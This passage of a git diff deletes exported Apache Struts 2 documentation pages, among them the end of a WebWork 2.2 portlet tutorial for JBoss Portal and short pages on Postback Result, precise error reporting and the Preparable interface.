-	&lt;servlet&gt;
-		&lt;servlet-name&gt;preparator&lt;/servlet-name&gt;
-		&lt;servlet-class&gt;
-			com.opensymphony.webwork.portlet.context.PreparatorServlet
-		&lt;/servlet-class&gt;
-	&lt;/servlet&gt;
-
-	&lt;taglib&gt;
-		&lt;taglib-uri&gt;/webwork&lt;/taglib-uri&gt;
-		&lt;taglib-location&gt;/WEB-INF/lib/webwork-2.2.1.jar&lt;/taglib-location&gt;
-	&lt;/taglib&gt;
-
-&lt;/web-app&gt;
-</pre>
-</div></div>
-<p>The FilterDispatcher makes sure that URLs to stylesheets and js files within the webwork jar file resolve correctly. The ServletContextHolderListener is a Servlet context listener that stores a reference to the servlet context of the web application. This is needed by some of the initialization procedures used in the WebWork Portlet. The 'preparator' servlet is a special servlet that, before dispatching to a view (like JSP/ftl or velocity) initializes the HttpServletRequest/Response,  [...]
-
-<h2 id="PortletTutorial(WebWork2.2)-HelloWorld!hello_world">Hello World! <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-hello_world"></span></h2>
-
-<p>With these basic project structure, <em>portlet.xml</em> and <em>web.xml</em> in place, it's time to do the mandatory "Hello World" example, so let's create a place to store our JSP files. Create a <em>WEB-INF/pages/view</em> folder, and within this folder, create the file "helloWorld.jsp". In this file, we simply put:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>helloWorld.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;H2&gt;Hello world!&lt;/H2&gt;
-</pre>
-</div></div>
-
-<h2 id="PortletTutorial(WebWork2.2)-xwork.xmlxwork.xml">xwork.xml <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-xwork.xml"></span></h2>
-
-<p>At this point, it's time to prepare the xwork configuration file, xwork.xml. Create an empty file named xwork.xml in the root of the 'src' folder. In this file we put:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>xwork.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
-&lt;!DOCTYPE xwork PUBLIC
-    "-//OpenSymphony Group//XWork 1.0//EN"
-    "http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;
-&lt;xwork&gt;
-	&lt;include file="webwork-portlet-default.xml" /&gt;
-
-	&lt;package name="view" extends="webwork-portlet-default"
-		namespace="/view"&gt;
-		&lt;action name="index"
-			class="com.opensymphony.xwork.ActionSupport"&gt;
-			&lt;result name="success"&gt;/WEB-INF/pages/view/helloWorld.jsp&lt;/result&gt;
-		&lt;/action&gt;
-	&lt;/package&gt;
-&lt;/xwork&gt;
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If you're using version 2.2.1 of WebWork, include the file webwork-default.xml instead.</p></div></div>
-<p>&#160;<br clear="none">
-&#160;<br clear="none">
-Some important things to notice are that we create a package with namespace <em>view</em>, and our package extends the <em>webwork-portlet-default</em> package. The <em>webwork-portlet-default</em> package contains some special result types needed to run WebWork/XWork in a portlet container.</p>
-
-<h2 id="PortletTutorial(WebWork2.2)-JBossPortaldescriptorsjboss_descriptors">JBoss Portal descriptors <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-jboss_descriptors"></span></h2>
-
-<p>In addition to the regular <em>portlet.xml</em> and <em>web.xml</em> descriptors, JBoss Portal 2.2 requires us to add a couple of JBoss specific descriptor files. On of these descriptor files is named according to the name of the context root of our application, which in this case is the name of the exported war file itself. We will later create a war file named MyPortlet.war, so the name of the JBoss descriptor becomes 'MyPortlet-object.xml'. So we create this file in the WEB-INF fol [...]
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyPortlet-object.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;deployments&gt;
-	&lt;deployment&gt;
-		&lt;if-exists&gt;overwrite&lt;/if-exists&gt;
-		&lt;parent-ref&gt;default&lt;/parent-ref&gt;
-		&lt;properties /&gt;
-		&lt;page&gt;
-			&lt;page-name&gt;MyPortlet Tutorial&lt;/page-name&gt;
-			&lt;properties /&gt;
-			&lt;window&gt;
-				&lt;window-name&gt;MyPortletWindow&lt;/window-name&gt;
-				&lt;instance-ref&gt;MyPortletInstance&lt;/instance-ref&gt;
-				&lt;region&gt;center&lt;/region&gt;
-				&lt;height&gt;0&lt;/height&gt;
-			&lt;/window&gt;
-		&lt;/page&gt;
-	&lt;/deployment&gt;
-	&lt;deployment&gt;
-		&lt;if-exists&gt;overwrite&lt;/if-exists&gt;
-		&lt;instance&gt;
-			&lt;instance-name&gt;MyPortletInstance&lt;/instance-name&gt;
-			&lt;component-ref&gt;MyPortlet.MyPortlet&lt;/component-ref&gt;
-		&lt;/instance&gt;
-	&lt;/deployment&gt;
-&lt;/deployments&gt;
-</pre>
-</div></div>
-<p>In addition, we need two other files, <em>jboss-app.xml</em> and <em>jboss-portlet.xml</em> which looks like this:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>jboss-app.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;jboss-app&gt;
-   &lt;app-name&gt;MyPortlet&lt;/app-name&gt;
-&lt;/jboss-app&gt;
-</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>jboss-portlet.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;portlet-app&gt;
-   &lt;portlet&gt;
-      &lt;portlet-name&gt;MyPortlet&lt;/portlet-name&gt;
-      &lt;security&gt;
-      &lt;/security&gt;
-   &lt;/portlet&gt;
-&lt;/portlet-app&gt;
-</pre>
-</div></div>
-
-<h2 id="PortletTutorial(WebWork2.2)-Deployment">Deployment</h2>
-
-<p>Now we have a project structure that looks like this:</p>
-
-<p><em>Project structure</em><br clear="none">
-<span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="portlet-tutorial-webwork-22.data/project-structure-hello-world-1.jpg"></span></p>
-
-<p>Now it's time to try our incredible HelloWorld portlet. In a Windows Explorer session, we select the WEB-INF folder and zip it up and name the file 'MyPortlet.war'. Drop this war file in the server/default/deploy folder of JBoss Portal, and start the server. By default, the URL for JBoss portal is <a shape="rect" class="external-link" href="http://localhost:8080/portal" rel="nofollow">http://localhost:8080/portal</a>, so point your browser to this address, and you will get to the fron [...]
-
-<p><em>JBoss Portal front page</em><br clear="none">
-<span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="portlet-tutorial-webwork-22.data/jboss-portal-frontpage.jpg"></span></p>
-
-<p><em>MyPortlet portlet page</em><br clear="none">
-<span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="portlet-tutorial-webwork-22.data/jboss-portal-portlet-page.jpg"></span></p>
-
-<h2 id="PortletTutorial(WebWork2.2)-Nextstepnext">Next step <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-next"></span></h2>
-
-<p>Next, let's do something a bit more interesting, namely create a simple form and display a result page. Let's start by creating our JSP that displays our form. Create a new file, 'helloForm.jsp' in the WEB-INF/pages/view/ folder. We will use the WebWork tag library to build the form on our page. The form itself will ask the user for a first name and last name, something like this:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>helloForm.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib uri="/webwork" prefix="ww" %&gt;
-
-&lt;H2&gt;Hi there! Please enter your name&lt;/H2&gt;
-&lt;ww:form action="helloWorld" method="POST"&gt;
-	&lt;ww:textfield label="First name" name="firstName" value="%{firstName}"/&gt;
-	&lt;ww:textfield label="Last name" name="lastName" value="%{lastName}"/&gt;
-	&lt;ww:submit value="Say hello!"/&gt;
-&lt;/ww:form&gt;
-</pre>
-</div></div>
-<p>Now we're ready to code some Java, not much, but at least a little bit. We create a new package in our <em>src</em> folder, let's name it <em>com.opensymphony.webwork.portlet.tutorial</em>. In this package, create a <em>HelloWorldAction</em> class. In usual WebWork manners, this class extends the ActionSupport class from the XWork framework, and we'll add a couple of properties that maps to our form in the JSP we just created:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>HelloWorldAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package com.opensymphony.webwork.portlet.tutorial;
-
-import com.opensymphony.xwork.ActionSupport;
-
-public class HelloWorldAction extends ActionSupport {
-	private String firstName;
-	private String lastName;
-	public String getFirstName() {
-		return firstName;
-	}
-	public void setFirstName(String firstName) {
-		this.firstName = firstName;
-	}
-	public String getLastName() {
-		return lastName;
-	}
-	public void setLastName(String lastName) {
-		this.lastName = lastName;
-	}
-}
-</pre>
-</div></div>
-<p>We also need a JSP to display the processed input. We'll just use the old helloWorld.jsp and modify it a bit. As with <em>helloForm.jsp</em>, we import the WebWork tag library, and we use the <em>ww:property</em> tags to display the input from the form:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>helloWorld.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="ww" uri="/webwork" %&gt;
-
-&lt;H2&gt;Hello &lt;ww:property value="firstName"/&gt; &lt;ww:property value="lastName"/&gt;&lt;/H2&gt;
-&lt;p/&gt;
-&lt;a xhref="&lt;ww:url action="helloWorldInput"/&gt;"&gt;Back to form&lt;/a&gt;
-</pre>
-</div></div>
-
-<h2 id="PortletTutorial(WebWork2.2)-Re-deploymentredeploy">Re-deployment <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-redeploy"></span></h2>
-
-<p>Now we're ready to do a re-deployment of our application, so zip up a new war and drop it in the <em>server/default/deploy</em> folder. The "MyPortlet Tutorial" page will now display:</p>
-
-<p><em>Hello World form</em><br clear="none">
-<span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="portlet-tutorial-webwork-22.data/hello-world-form-1.jpg"></span></p>
-
-<p>Enter some data, and press the "Say hello!" button, and you will get a nice little personalized "hello" message:</p>
-
-<p><em>Personalized Hello World</em></p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="portlet-tutorial-webwork-22.data/hello-world-result-1.jpg"></span></p>
-
-<h2 id="PortletTutorial(WebWork2.2)-Backto">Back to <a shape="rect" href="tutorials.html">Tutorials</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/postback-result.html b/content/docs/postback-result.html
deleted file mode 100644
index 8d7db14..0000000
--- a/content/docs/postback-result.html
+++ /dev/null
@@ -1,162 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Postback Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="postback-result.html">Postback Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Postback Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34837495">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34837495">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34837495">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34837495">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34837495">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34837495">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="PostbackResult-Description">Description</h1>
-
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h1 id="PostbackResult-Parameters">Parameters</h1>
-
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h1 id="PostbackResult-Examples">Examples</h1>
-
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/precise-error-reporting.html b/content/docs/precise-error-reporting.html
deleted file mode 100644
index 290b2ae..0000000
--- a/content/docs/precise-error-reporting.html
+++ /dev/null
@@ -1,144 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Precise Error Reporting</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="precise-error-reporting.html">Precise Error Reporting</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Precise Error Reporting</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29826">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29826">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29826">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29826">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29826">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29826">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>With the multiple levels of configuration, constant overrides, and bean selection, it can be confusing as to how the framework is configured and how it got there.  To assist debugging and provide the ability to continue to provide more line-precise error reporting, the configuration loader remembers the location of not only XML elements, but also Java Properties file properties.</p>
-
-<p>How it works is instead of storing configuration properties in a plain java.util.Properties object, we have a special LocatableProperties class in XWork.  This class leverages the location classes in XWork to store location information for the whole properties file but also individual properties.  We use this to gather configuration properties during configuration loading.  This will allow us to display at any given point the location of each property setting.  This capability should  [...]
-
-<p>Interestingly, in addition to remembering the URI and line number of Properties properties, the parser we "borrowed" from Commons Configuration even gathers preceding comments, which are also stored in the Location object.  This means we can leverage the Properties comment-based documentation that we have in the o.a.s.default.properties file or the user's struts.properties file to further provide useful information in error reports.</p>
-
-<p>There are some very interesting possibilities here to increase the transparency of the framework in error and debugging conditions.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/preparable-interface.html b/content/docs/preparable-interface.html
deleted file mode 100644
index f904ff3..0000000
--- a/content/docs/preparable-interface.html
+++ /dev/null
@@ -1,159 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Preparable Interface</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="preparable-interface.html">Preparable Interface</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Preparable Interface</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27839279">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27839279">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27839279">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27839279">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27839279">
